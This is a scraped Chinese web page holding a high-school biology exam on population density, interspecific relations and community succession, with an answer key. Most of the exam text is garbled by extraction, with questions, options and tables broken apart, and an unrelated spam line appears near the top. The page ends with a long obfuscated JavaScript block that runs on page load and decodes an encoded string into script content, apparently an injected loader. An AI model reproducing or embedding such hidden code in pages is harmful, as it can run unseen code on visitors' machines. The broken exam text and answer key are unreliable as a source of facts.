演替初期种间关系以竞争为主?

2025-02-07 09:56:32
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回答1:

历史老照片不能说的秘密慈禧军阀明末清初文革晚清

3






D
.大草履虫的能量除用于自身代谢外,其余部分流入栉毛虫

13
.为了降低一种真菌对果树的毒害,园艺家引入一种形态结构,生理特征和原真菌相似,
但毒性较低的真菌,从而使果树增产,园艺家利用的原理是





A
.寄生

B
.竞争

C
.捕食

D
.共生

14
.如图为植物群落生长的分层现象,对此现象解释不正确的是





A
.分层现象是植物群落与环境条件相互联系的一种形式

B
.决定这种现象的环境因素除光照外,还有温度和湿度等

C
.种植玉米时,因植物群落分层现象的存在,所以要合理密植

D
.在农业生产上,可以充分利用这一现象,合理搭配种植的品种

15
.为保护生态环境,我国西部干旱荒漠地区大片耕作区将退耕,随着时间的推移,退耕地
上将会发生一系列的群落演替。有关该群落演替的叙述,不正确的是





A
.物种丰富度增加,群落结构复杂化

B
.最终一定演替出森林

C
.演替初期种间关系以竞争为主

D
.该群落演替属于次生演替

16
.下列选项中,对种群密度影响最严重的是

编号

生态系统

采收对象

现有生物量

年增长率
/%
年采收量



马尾松林

马尾松

200 00m
3
2
1000m
3


淡水湖泊

鲰鱼

10 000kg
34
3 600kg


山地

甘草

1 000kg
20
300kg


滩涂

沙蚕

10 000kg
30
500kg

A
.①

B
.②

C
.③

D
.④

17
.下图分别表示两种生物间的关系,自左至右依次是





A
.捕食、寄生、竞争

B
.寄生、竞争、互利共生

C
.互利共生、捕食、竞争

D
.竞争、捕食、寄生

18
.我们把地衣类植物叫做生物群落的开路先锋,理由是





A
.地衣酸可分解裸岩

B
.地衣首先在裸岩上定居

C
.地衣生活不需要水分和无机盐

D
.地衣是最低等的植物类群

19
.当两个具有相同资源利用方式的种群占有同一环境时,最有可能发生





A
.竞争

B
.突变

C
.地理隔离

D
.共生

20
.关于群落演替的叙述,错误
..
的是





A
.群落自然演替是一个群落替代另一个群落的过程

4

B
.群落的原(初)生演替在海洋和陆地均可发生

C
.群落的原(初)生演替速度通常非常缓慢

D
.动物群落的演替与光照条件无关

21
.一块甘蔗田弃耕几年后,形成了杂草地,该草地群落中

A
、物种组成比甘蔗田简单

B
、动物没有分层现象

C
、物种组成比甘蔗田复杂

D
、植物没有垂直结构

22
.说明生物群落在垂直方向上具有分层现象的是





A

森林中有乔木层、
灌木层和草本层

B

森林中树木的间隙中有较多的灌木和草丛

C
.一片竹林中竹林高矮不一

D
.鹿群中有的鹿高,有的鹿矮

23
.在生态演替中,下列情况中的哪一种是最不可能发生的





A
.在生态演替过程中,群落的物种构成不断地变化

B
.物种总量起始增多,然后趋于稳定

C
.在初始阶段之后,生态系统中的生物量总量下降

D
.生态系统中的非生物有机质总量增加

24
.下面关于生物群落结构的叙述,不正确的是





A
.草原生物群落在垂直方向上有明显的分层现象

B
.动物在群落中的垂直分布与植物的分层有直接的关系

C
.动物在水平方向上的分布没有明显的差别

D
.动物在水平方向上的分布有明显的差别

25
.右图纵向表示海洋不同深度中鱼类的食物分布状况,曲线甲、乙、丙
分别表示三种鱼的数量变化。下列对此图的分析,错误的是





A
.海洋中的鱼类具有垂直分层现象

B
.此图表明鱼类对食物的竞争状况

C
.此图表明海洋中鱼类的捕食状况

D
.此图表明海洋中鱼类的共生关系




(非选择题


50
分)

二、非选择题:本卷共
5
小题,共
50
分。

26
.(
12
分)回答下列关于种群和生物群落的问题


1
)种群密度是指
__________________
内某种群的个体数量。例如,在一块草地中每平
方米的面积内某种草本植物的数量,每平方千米农田内蝗虫的数量等。不同物种的
种群密度,在同样的环境条件下
________
很大。例如,在我国某地的野驴,平均每
一百平方千米还不足两头,但是在相同的面积内,灰仓鼠则有数十万只。同一物种
的种群密度也不是
___________
的。例如,在一片农田中的东亚飞蝗,夏天的种群
密度较高,秋末天气较冷时则降低


2
)种群的数量变化是由出生率和

、迁入和

决定。


3
)群落的结构在垂直方向上,生物群落具有明显的
___________
现象。例如,在森林
中,高大的乔木占据森林的
___________
。动物在群落中的垂直分布也有类似的分
层现象。例如,鹿、獐、野猪等动物则在
___________
活动。在枯枝落叶层和土壤

5
中,还有许多低等动物(如蚯蚓、马陆等)和微生物。

群落的结构在水平方向上,由于地形的
___________
、光照的
___________
、湿度的
大小等因素的影响,不同地段往往分布着不同的种群,种群的密度也有差别。


4
)在一个起初没有生命的地方开始发生的演替,叫做
__________
。例如,在从
来没有生长过任何植物的裸地、
裸岩或沙丘上开始的演替。
在原来有生物群
落存在,
后来由于各种原因使原有群落消亡或受到严重破坏的地方开始的演
替,叫做
__________
。例如,在弃耕的农田上、在发生过火灾或过量砍伐后
的林地上开始的演替。

27


9
分)下图为某种群在不同生态环境中的增长曲线,请仔细分析图中
曲线后回答下列问题:


1
)如果种群处在一个理想的环境中,没有资源和空间的限

制,种群内个体的增长曲线是
_______
,用达尔文进化

的观点分析,这是由于生物具有
________
特性。


2
)如果将该种群置于有限制的自然环境中,种群内个体数

量的增长曲线是
________
,用达尔文的进化观点分析图

中的阴影部分表示
_______________



3
)影响种群密度的主要因素是种群的
_______

_________

________

_________


28


8
分)下列
4
幅图中,表示
a

b
两种生物生活在同一种环境中的种群数量变动情况,
请根据
4
幅图中曲线所表示的内容,回答下列有关问题:


1
)你认为用哪个图的曲线表示白蚁与其肠道内的鞭毛虫之间的关系最合适?
____
____



2

你认为图①曲线表示的种间关系是
_______

其中
a
表示
_______

b
表示
_________



3
)你认为哪个图能反映出竞争排斥原理的内容?
______________
。在自然选择中被淘
汰的是
_____



4
)图④表示的种间关系是寄生,图中
a
代表
_______

b
代表
_______


29


11
分)为研究酵母菌种群密度的动态变化,某同学按下表所列条件进行了
A

B

C

D

4
组实验,用
1
000mL
锥形瓶作为培养器皿,棉塞封口,在
25
℃下静置培养,其
他实验条件均相同,定时用血球计数板计数。根据实验结果绘出的酵母菌种群密度变化
曲线图如下,请分析回答以下问题。

6


1
)图中曲线①、②和③分别是
__________
组、
__________
组和
__________
组的结果。


2

B
组和
A
组的实验结果不同的原因是
B

____________



3

D
组和
B
组的实验结果不同的原因是
D

____________



4
)在整个实验过程中,直接从静置的培养瓶中取培养原液计数的做法是错误的,正确
的方法是






5
)实验结束后,用试管刷蘸洗涤剂擦洗血球计数板的做法是错误的,正确的方法




30


10
分)下图一示某森林植物的景观,图二示物种数与面积的关系。请分析回答:


1
)物种组成是决定群落性质的最重要因素。为了登记群落的植物种类组成,在群落的
中心部位选取样地,用随机法取样,首先要确定样方面积。系列取样统计结果如上
图二。

①试写出该研究的课题名称

。这种研究方法叫




②图二显示:在一定范围内,随样方面积的增大,

。调查该森林物
种数的样方面积最好是

m
2


③若选取
3
个合适的样方对某种乔木计数的结果分别是
n
1

n
2

n
3
,则该乔木的种
群密度为

株/
m
2



2
)导致景观图中植物分层现象的主要非生物因素是

,森林对太阳能的
利用率高于农田的主要原因是森林具有复杂的

结构。若要调
查景观图中森林群落的结构,请写出主要的调查项目(调查设备略)




;②



参考答案

1-5DBDCB6-10 BDDBD 11-15B CBCB 16-20CCBAD21-25CACCD
26


12
分)


1
)单位面积或单位体积

差异

固定不变

7


2
)死亡率,
,迁出


3
)分层

上层

地面

起伏

明暗


4
)初级演替

次级演替

27


9
分)


1

a

过渡繁殖


2

b

通过生存斗争被淘汰的个体数量(
2
分)


3
)年龄组成

性别比例

出生率

死亡率

28


8
分)


1
)③


2
)捕食

被捕者

捕食者


3
)②

b


4
)寄生物

宿主

29


11
分)


1

B

A

D


2
)培养液较多,与空气接触面积较小,故供氧较少(
2
分)


3
)葡萄糖浓度较低,故营养物供应较少(
2
分)


4
)摇匀培养液后再取样

培养后期的样液稀释后再计数(
5
)浸泡和冲洗(
2
分)

30


10
分)


1

①某森林物种数与样方面积的关系研究
(只要合理均给分)


2
分)

样方法


物种数迅速增多,并逐渐达到最多后保持稳定

S
0

③(
n
1
+n
2
+n
3
)/
3


2



垂直

①垂直结构:
动植物的分层,
不同层次上生物的种类和种群密度等


平结构:水平方向上不同地段的群落物种组成和种群密度等

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 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